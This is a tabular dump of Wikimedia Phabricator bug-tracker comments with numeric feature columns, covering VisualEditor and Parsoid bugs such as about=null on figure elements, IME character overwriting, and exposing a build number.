246783,about=null entries on <figure> elements (because of dom-fragment reuse),I am marking this resolved. Haven't seen any reports about this in a while.,,,1389799516,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,28,,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,0.8823529411764706,I am marking this resolved. Haven't seen any reports about this in a while.
246780,about=null entries on <figure> elements (because of dom-fragment reuse),Is this still happening in production?,,,1386109794,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.714285714285714,1.0,Is this still happening in production?
246778,about=null entries on <figure> elements (because of dom-fragment reuse),https://gerrit.wikimedia.org/r/#/c/83216/ fixes the dsr inconsistency warnings  reported in this bug.,,,1379553778,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,URL fixes the dsr inconsistency warnings  reported in this bug.
246775,about=null entries on <figure> elements (because of dom-fragment reuse),"Sorry, I linked the wrong bug which is how you got the email ;-) .. fixing it.",,,1378333227,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,11.0,5.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,3.263157894736842,0.9473684210526315,"Sorry, I linked the wrong bug which is how you got the email ;-) .. fixing it."
246772,about=null entries on <figure> elements (because of dom-fragment reuse),"You guys sure you wanted me on the CC for this bug?  I'm just making sure it wasn't another ""Dan"" :)",,,1378333119,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,7.0,4.0,4.0,7.0,0.0,19.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.962962962962963,0.9259259259259259,"You guys sure you wanted me on the CC for this bug?  I'm just making sure it wasn't another ""Dan"" :)"
246769,about=null entries on <figure> elements (because of dom-fragment reuse),"Based on IRC discussions, we figured that there are different bugs that are interaction and producing the same end result -- duplication in some cases.  The Trieste bug could be a result of a bad parse of ''[[Foo|''bar'']]'' and interaction of the about=null issue.  Dalmine seems to be something else.",,,1378332012,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,2.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,2.0,0.0,2.0,12.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,9.0,2.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,3.0,3.8923076923076922,0.7384615384615385,"Based on IRC discussions, we figured that there are different bugs that are interaction and producing the same end result -- duplication in some cases.  The Trieste bug could be a result of a bad parse of ''[[Foo|''bar'']]'' and interaction of the about=null issue.  Dalmine seems to be something else."
246765,about=null entries on <figure> elements (because of dom-fragment reuse),"This patch addresses the about=""null"" issue.

I am however not 100% sure that this is indeed the root cause for bug 53071. A
scenario I can think of is this:

1) getAboutSiblings returned sibling nodes without about attributes
2) for some reason that is unclear to me those were *not* assigned
   about=""null"" attributes in unpackDOMFragments on reuse
3) the serializer faithfully serialized out the new content


The diffs in
https://it.wikipedia.org/w/index.php?title=Trieste&diff=prev&oldid=61046913
would support this, as the entire image link is duplicated.

The diff in https://it.wikipedia.org/w/index.php?title=Dalmine&oldid=61238456
however looks like an incomplete image duplication. 

There are several figure-related DSR errors when parsing that page of this pattern:

WARNING: DSR inconsistency: cs/s mismatch for node: FIGURE s: 22704; cs: 22817
WARNING: DSR inconsistency: cs/s mismatch for node: FIGURE s: 18478; cs: 18586

Those warnings are still there when parsing the page with fragment reuse
enabled, so this might be a different issue.",,,1378331190,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,1.0,0.0,0.0,0.5,1.0,4.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.5,0.5,5.0,9.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,5.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,19.0,2.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,5.5,4.5,8.5,2.0,0.0,10.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,1.5,9.5,5.5,0.0,1.0,0.0,1.5,0.0,1.5,1.5,0.5,1.5,0.0,0.0,1.0,3.974292929292929,0.6780808080808081,"This patch addresses the about=""null"" issue.

I am however not 100% sure that this is indeed the root cause for bug 53071. A
scenario I can think of is this:

1) getAboutSiblings returned sibling nodes without about attributes
2) for some reason that is unclear to me those were *not* assigned
   about=""null"" attributes in unpackDOMFragments on reuse
3) the serializer faithfully serialized out the new content


The diffs in
URL
would support this, as the entire image link is duplicated.

The diff in URL
however looks like an incomplete image duplication. 

There are several figure-related DSR errors when parsing that page of this pattern:

WARNING: DSR inconsistency: cs/s mismatch for node: FIGURE s: 22704; cs: 22817
WARNING: DSR inconsistency: cs/s mismatch for node: FIGURE s: 18478; cs: 18586

Those warnings are still there when parsing the page with fragment reuse
enabled, so this might be a different issue."
246761,about=null entries on <figure> elements (because of dom-fragment reuse),"Change 82676 merged by jenkins-bot:
Bug 53071: Handle about-less images better

https://gerrit.wikimedia.org/r/82676",,,1378326748,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,4.05,0.9,"Change 82676 merged by jenkins-bot:
Bug 53071: Handle about-less images better

GERRIT_URL"
246757,about=null entries on <figure> elements (because of dom-fragment reuse),"Change 82676 had a related patch set uploaded by GWicke:
Bug 53071: Handle about-less images better

https://gerrit.wikimedia.org/r/82676",,,1378323821,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,4.217391304347826,0.9565217391304348,"Change 82676 had a related patch set uploaded by GWicke:
Bug 53071: Handle about-less images better

GERRIT_URL"
246750,about=null entries on <figure> elements (because of dom-fragment reuse),"One more example:

https://it.wikipedia.org/w/index.php?title=Dalmine&diff=61238476&oldid=61238456",,,1378225470,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.3333333333333335,1.0,"One more example:

URL"
246741,about=null entries on <figure> elements (because of dom-fragment reuse),"One more instance now reported on itwiki:

1. Diff: https://it.wikipedia.org/w/index.php?title=Trieste&diff=prev&oldid=61046913 (see 2 images duplicated further down)

2. Open https://it.wikipedia.org/w/index.php?title=Trieste&oldid=61038476&veaction=edit in Chrome and dump Parsoid HTML in the console ""copy(ve.init.mw.targets[0].originalHtml)"" You will see a lot of <figure> tags with about=null",,,1377276929,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,4.0,11.0,9.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,9.0,3.9444444444444446,0.8333333333333334,"One more instance now reported on itwiki:

1. Diff: URL (see 2 images duplicated further down)

2. Open URL in Chrome and dump Parsoid HTML in the console ""copy(ve.init.mw.targets[0].originalHtml)"" You will see a lot of <figure> tags with about=null"
55064,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Create an empty document by deleting everything. Enable Input method (e.g. Ibus Chinese Cantonese). Start typing, e.g. ""jung"" (select ""中"") then ""gwok"" (select ""國""). The second character will overwrite the first, leaving just ""國"" instead of ""中國"".

Observed using chromium and firefox on Ubuntu. Happens with the following ibus input methods: Chinese cantonese, Chinese Pinyin, Korean, Malayalam swanalekha, Hindi inscript. Does not seem to happen with Kannada inscript.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376939940,1377348845.0,PHID-USER-lliyevigiycjbybglftk,False,,False,PHID-TASK-oplpiaxofrtlrt3axphq,task_description,resolved,True,c1,3,False,False,True,7,,0.0,0.5,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,4.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,1.5,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,15.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.5,9.5,0.0,6.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,1.0,3.987570621468927,0.6555084745762711,"Create an empty document by deleting everything. Enable Input method (e.g. Ibus Chinese Cantonese). Start typing, e.g. ""jung"" (select ""中"") then ""gwok"" (select ""國""). The second character will overwrite the first, leaving just ""國"" instead of ""中國"".

Observed using chromium and firefox on Ubuntu. Happens with the following ibus input methods: Chinese cantonese, Chinese Pinyin, Korean, Malayalam swanalekha, Hindi inscript. Does not seem to happen with Kannada inscript.

--------------------------
**Version**: unspecified
**Severity**: normal"
246279,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"

*** This bug has been marked as a duplicate of bug 45240 ***",,,1377348845,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-oplpiaxofrtlrt3axphq,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 45240 ***"
55050,VisualEditor: Expose build number,"Quite often we get bug reports for issues that have been recently fixed but not deployed to the smaller wikis.

It would be very useful if we had build numbers that we could access (e.g. ve.version) in the client so we could tell quickly how out of date the deployed code is before we waste time debugging an issue someone else has already fixed.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1376930160,1380148809.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_description,resolved,True,c1,3,True,False,True,7,,0.0,1.0,1.0,1.0,1.0,3.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,9.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,1.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,5.0,3.0,5.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,4.149425287356322,0.7586206896551724,"Quite often we get bug reports for issues that have been recently fixed but not deployed to the smaller wikis.

It would be very useful if we had build numbers that we could access (e.g. ve.version) in the client so we could tell quickly how out of date the deployed code is before we waste time debugging an issue someone else has already fixed.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
569455,VisualEditor: Expose build number,FYI - This might be removed in {T119750},,,1448666920,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,True,,,125,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,FYI - This might be removed in {T119750}
245454,VisualEditor: Expose build number,"Change 84334 merged by jenkins-bot:
Hide version info if not available

https://gerrit.wikimedia.org/r/84334",,,1379466654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,1.0,"Change 84334 merged by jenkins-bot:
Hide version info if not available

GERRIT_URL"
245447,VisualEditor: Expose build number,"Change 84334 had a related patch set uploaded by Esanders:
Hide version info if not available

https://gerrit.wikimedia.org/r/84334",,,1379346926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.55,1.0,"Change 84334 had a related patch set uploaded by Esanders:
Hide version info if not available

GERRIT_URL"
245440,VisualEditor: Expose build number,"Yes, there's an issue with our deployment process which prevents it from working ATM. We're working on a fix.",,,1379107432,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,3.7916666666666665,0.9166666666666666,"Yes, there's an issue with our deployment process which prevents it from working ATM. We're working on a fix."
245433,VisualEditor: Expose build number,"This isn't working.  When I click on ""Beta"" to see this, it says ""Version false"", with a link to https://en.wikipedia.org/w/false (from userspace) or https://en.wikipedia.org/wiki/false (from article space).",,,1379107220,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,15.0,2.0,0.0,10.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.926829268292683,0.7560975609756098,"This isn't working.  When I click on ""Beta"" to see this, it says ""Version false"", with a link to URL (from userspace) or URL (from article space)."
245427,VisualEditor: Expose build number,"Change 81877 merged by jenkins-bot:
Expose version information in the client

https://gerrit.wikimedia.org/r/81877",,,1377888800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.647058823529412,1.0,"Change 81877 merged by jenkins-bot:
Expose version information in the client

GERRIT_URL"
245419,VisualEditor: Expose build number,"Change 81877 had a related patch set uploaded by Esanders:
Expose version information in the client

https://gerrit.wikimedia.org/r/81877",,,1377817078,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 81877 had a related patch set uploaded by Esanders:
Expose version information in the client

GERRIT_URL"
55045,VisualEditor: Line height on beta warning message is too narrow,"Line height example

See screenshot for 1.25em vs 1.5em.

--------------------------
**Version**: unspecified
**Severity**: trivial

**Attached**: {F11545}",High,80.0,1376928720,1377021133.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qsixjppbefsch6bho32b,task_description,resolved,True,c1,3,True,False,True,7,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.717948717948718,0.5897435897435898,"Line height example

See screenshot for 1.25em vs 1.5em.

--------------------------
**Version**: unspecified
**Severity**: trivial

**Attached**: {F11545}"
245137,VisualEditor: Line height on beta warning message is too narrow,"Change 79804 merged by jenkins-bot:
Increase line height in beta warning

